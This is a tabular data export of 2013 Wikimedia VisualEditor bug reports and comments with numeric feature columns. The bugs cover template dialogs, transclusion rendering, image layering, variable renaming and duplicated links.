250099,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,%%%*** Bug 50363 has been marked as a duplicate of this bug. ***%%%,,,1375118083,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 50363 has been marked as a duplicate of this bug. ***%%%
250089,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Possible solution may involve removing distinction between block & inline transclusion types in the DM, replacing with hybrid type, and have CE work out how to render it properly.",,,1371595810,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,16.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,4.71875,0.96875,"Possible solution may involve removing distinction between block & inline transclusion types in the DM, replacing with hybrid type, and have CE work out how to render it properly."
51778,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Currently in the template dialog when you insert a new template (or other transclusion) it doesn't look up TemplateData for said template (but re-uses if available). It should.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1371592380,1372553711.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,9.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.109090909090909,0.7454545454545455,"Currently in the template dialog when you insert a new template (or other transclusion) it doesn't look up TemplateData for said template (but re-uses if available). It should.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
249765,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Seems to have been some cache issues, because it seems to be fine now",,,1372553711,,PHID-USER-2mkpm2voxepwvz7abjug,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,7.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,0.9333333333333333,"Seems to have been some cache issues, because it seems to be fine now"
249758,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"(In reply to comment #5)
> Testing on beta, which is using 1.22alpha (3c4aac9) the issue seems to

This is mediawiki-core. VisualEditor at beta.wmflabs should be currently at f8d2f14 (latest; including merged commit) after Reedy manually updated it (again).",,,1372548881,,PHID-USER-jcypqodpdpbcicgwgh7j,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,12.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.048780487804878,0.8536585365853658,"(In reply to comment #5)
QUOTE

This is mediawiki-core. VisualEditor at beta.wmflabs should be currently at f8d2f14 (latest; including merged commit) after Reedy manually updated it (again)."
249750,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Testing on beta, which is using 1.22alpha (3c4aac9) the issue seems to persist:

First I make a new template instance and file one parameter:
http://i.imgur.com/69K7IcD.png

Notice the lack of information

Next I apply changes, and open the template dialog again, and following is shown:
http://i.imgur.com/hV8rqag.png",,,1372547853,,PHID-USER-2mkpm2voxepwvz7abjug,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,14.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,3.8793103448275863,0.7413793103448276,"Testing on beta, which is using 1.22alpha (3c4aac9) the issue seems to persist:

First I make a new template instance and file one parameter:
URL

Notice the lack of information

Next I apply changes, and open the template dialog again, and following is shown:
URL"
249745,VisualEditor: Template dialog should look up TemplateData for newly-added templates,Done in the above commit.,,,1372462774,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Done in the above commit.
249740,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Change 71132 merged by jenkins-bot:
Use template data for new templates and fix alias bug

https://gerrit.wikimedia.org/r/71132",,,1372462602,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.190476190476191,1.0,"Change 71132 merged by jenkins-bot:
Use template data for new templates and fix alias bug

GERRIT_URL"
249735,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Change 71132 had a related patch set uploaded by Trevor Parscal:
Use template data for new templates

https://gerrit.wikimedia.org/r/71132",,,1372455529,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.619047619047619,1.0,"Change 71132 had a related patch set uploaded by Trevor Parscal:
Use template data for new templates

GERRIT_URL"
249729,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Any movement on this? I note the milestone was yesterday's deploy (if it went out but got reverted with the wmf7 problems, ignore me).",,,1372411786,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,13.0,3.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.7,0.9666666666666667,"Any movement on this? I note the milestone was yesterday's deploy (if it went out but got reverted with the wmf7 problems, ignore me)."
51767,"VisualEditor: Images, when resized, appear on top of (rather than underneath) other UI elements","Screenshot

See associated screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11694}",Medium,50.0,1371583860,1372016119.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-sbmvrc3jz243m2e4aqmd,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8529411764705883,0.5294117647058824,"Screenshot

See associated screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11694}"
249229,"VisualEditor: Images, when resized, appear on top of (rather than underneath) other UI elements","Now fixed, I believe.",,,1372016119,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sbmvrc3jz243m2e4aqmd,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"Now fixed, I believe."
51761,VisualEditor: Provide an easy way to sanity-check VE input / output behavior,"In the investigation of most round-tripping bugs we need to figure out if VE modified the DOM in unexpected ways or Parsoid had issues in handling an unmodified DOM. 

We need an easy way to display both the original HTML string retrieved by VE and a serialization of the modified HTML the VE sends out, possibly popped up in two textareas on some keybinding for easy copying.

This would at least allow basic manual debugging.

Optionally, as a time saver, it would be nice if you could also output a DOM diff that makes it easy to spot DOM differences. You could probably base this on the Parsoid DOMDiff module. This DOM diff can also be used in sanity checks to automatically detect VE round-trip issues.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1371579720,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-2nqdcy26wu7c3ct3pti6,task_description,open,True,c1,2,True,False,,-2,,0.5,0.0,0.0,0.5,0.0,7.5,0.5,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.5,4.0,12.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,2.0,0.5,1.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.5,0.0,11.5,0.5,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.5,0.0,6.0,1.0,12.5,1.0,1.5,8.0,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,3.5,12.0,6.5,0.0,0.0,0.0,3.5,0.0,0.5,2.5,0.0,1.0,0.0,1.0,0.0,4.137499999999999,0.7375,"In the investigation of most round-tripping bugs we need to figure out if VE modified the DOM in unexpected ways or Parsoid had issues in handling an unmodified DOM. 

We need an easy way to display both the original HTML string retrieved by VE and a serialization of the modified HTML the VE sends out, possibly popped up in two textareas on some keybinding for easy copying.

This would at least allow basic manual debugging.

Optionally, as a time saver, it would be nice if you could also output a DOM diff that makes it easy to spot DOM differences. You could probably base this on the Parsoid DOMDiff module. This DOM diff can also be used in sanity checks to automatically detect VE round-trip issues.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
51754,VisualEditor: Rename [big|small]Stack variables in ve.dm.Surface,"To something which describes their function, not form.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1371571320,1386737312.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vaw5sbbofozchqbqlxfo,task_description,resolved,True,c1,2,True,False,False,-2,,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.6785714285714286,"To something which describes their function, not form.

--------------------------
**Version**: unspecified
**Severity**: normal"
248379,VisualEditor: Rename [big|small]Stack variables in ve.dm.Surface,"Change 100313 merged by jenkins-bot:
Rename big/small stack to undoStack & newTransactions

https://gerrit.wikimedia.org/r/100313",,,1386729691,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaw5sbbofozchqbqlxfo,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"Change 100313 merged by jenkins-bot:
Rename big/small stack to undoStack & newTransactions

GERRIT_URL"
248370,VisualEditor: Rename [big|small]Stack variables in ve.dm.Surface,"Change 100313 had a related patch set uploaded by Esanders:
Rename big/small stack to undoStack & newTransactions

https://gerrit.wikimedia.org/r/100313",,,1386534617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaw5sbbofozchqbqlxfo,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.782608695652174,1.0,"Change 100313 had a related patch set uploaded by Esanders:
Rename big/small stack to undoStack & newTransactions

GERRIT_URL"
51725,VisualEditor: You can't select text in the save dialog,"You really should be able to. I mean, the cursor pointer triggers and everything. Tsk.

(Actually, it's ignoring all clicks that aren't on the buttons, or so it seems.)

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1371521220,1371775703.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jdjfrc2gvkcmr2dyxdhz,task_description,resolved,True,c1,2,True,False,True,-2,,2.0,2.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,10.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,3.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.593220338983051,0.711864406779661,"You really should be able to. I mean, the cursor pointer triggers and everything. Tsk.

(Actually, it's ignoring all clicks that aren't on the buttons, or so it seems.)

--------------------------
**Version**: unspecified
**Severity**: minor"
246790,VisualEditor: You can't select text in the save dialog,This was fixed in wmf8.,,,1371775703,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jdjfrc2gvkcmr2dyxdhz,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,This was fixed in wmf8.
51682,VisualEditor: Link duplicated,"Screenshot

See associated screenshot, from the page https://en.wikipedia.org/wiki/Henkle_v._Gregory

Reproduced in Chrome, Safari and Firefox.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11483}",Medium,50.0,1371465120,1372863371.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,23.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.893617021276596,0.6170212765957447,"Screenshot

See associated screenshot, from the page URL

Reproduced in Chrome, Safari and Firefox.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11483}"
243824,VisualEditor: Link duplicated,"Not the same issue; user clearly managed to add a linked space after the italics, which is a UX issue we need to fix generally.",,,1372863371,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,7.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,3.6785714285714284,0.8571428571428571,"Not the same issue; user clearly managed to add a linked space after the italics, which is a UX issue we need to fix generally."
243819,VisualEditor: Link duplicated,"I haven't been able to, but then this kind of thing is pretty difficult to duplicate (unless you want me spending 40 minutes basically doing my damnedest to break linking and looking at what happens each time).",,,1372859288,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,10.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,2.0,10.0,0.0,0.0,0.0,4.142857142857143,0.9523809523809523,"I haven't been able to, but then this kind of thing is pretty difficult to duplicate (unless you want me spending 40 minutes basically doing my damnedest to break linking and looking at what happens each time)."
243815,VisualEditor: Link duplicated,This isn't necessarily the same issue. Is it reproduceable?,,,1372858764,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,This isn't necessarily the same issue. Is it reproduceable?
243812,VisualEditor: Link duplicated,It seems not - https://en.wikipedia.org/w/index.php?title=List_of_television_series_canceled_after_one_episode&curid=30873088&diff=562679038&oldid=562678963,,,1372851661,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,It seems not - URL
